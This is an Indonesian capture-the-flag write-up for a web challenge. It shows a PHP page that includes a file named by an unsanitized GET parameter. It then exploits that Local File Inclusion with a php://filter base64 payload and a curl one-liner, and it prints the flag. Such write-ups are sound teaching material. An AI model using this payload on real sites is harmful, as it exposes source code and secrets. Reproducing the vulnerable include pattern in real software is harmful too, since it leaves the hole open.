Write Up Online CTF HUT DISINFOLAHTAD KE 42 2018 {Web Application - Situs yang Bocor}

Write Up Online CTF HUT DISINFOLAHTAD KE 42 2018 {Web Application - Situs yang Bocor}

Soal : Coba dapatkan sumber kode main_page.

index.php:

<?php
    if(isset($_GET['resource'])){
        include($_GET['resource'] . '.php');
    } else {
        header("Location: /index.php?resource=main_page");
    }
?>

Flag : flag{0h_n0_php_y0ur_l3aking_4ll_0ver}

Referensi Tools : 

• curl
• Manual Test

PoC (Proof of Concept): 

1.    Pada Challenge ini, peserta diberikan soal web aplikasi yang terdapat bug Local File Inclusion.
2.   Source code di ambil menggunakan php wrapper yaitu dengan php://filter/, jika di gabungkan dengan URL soal menjadi seperti berikut :
http://54.169.108.58:8001/index.php?resource=php://filter/convert.base64-encode/resource=main_page

3.    Gunakan curl untuk request Lakukan decode menggunakan base64 –d

curl http://54.169.108.58:8001/index.php?resource=php://filter/convert.base64-encode/resource=main_page | base64 -d | grep flag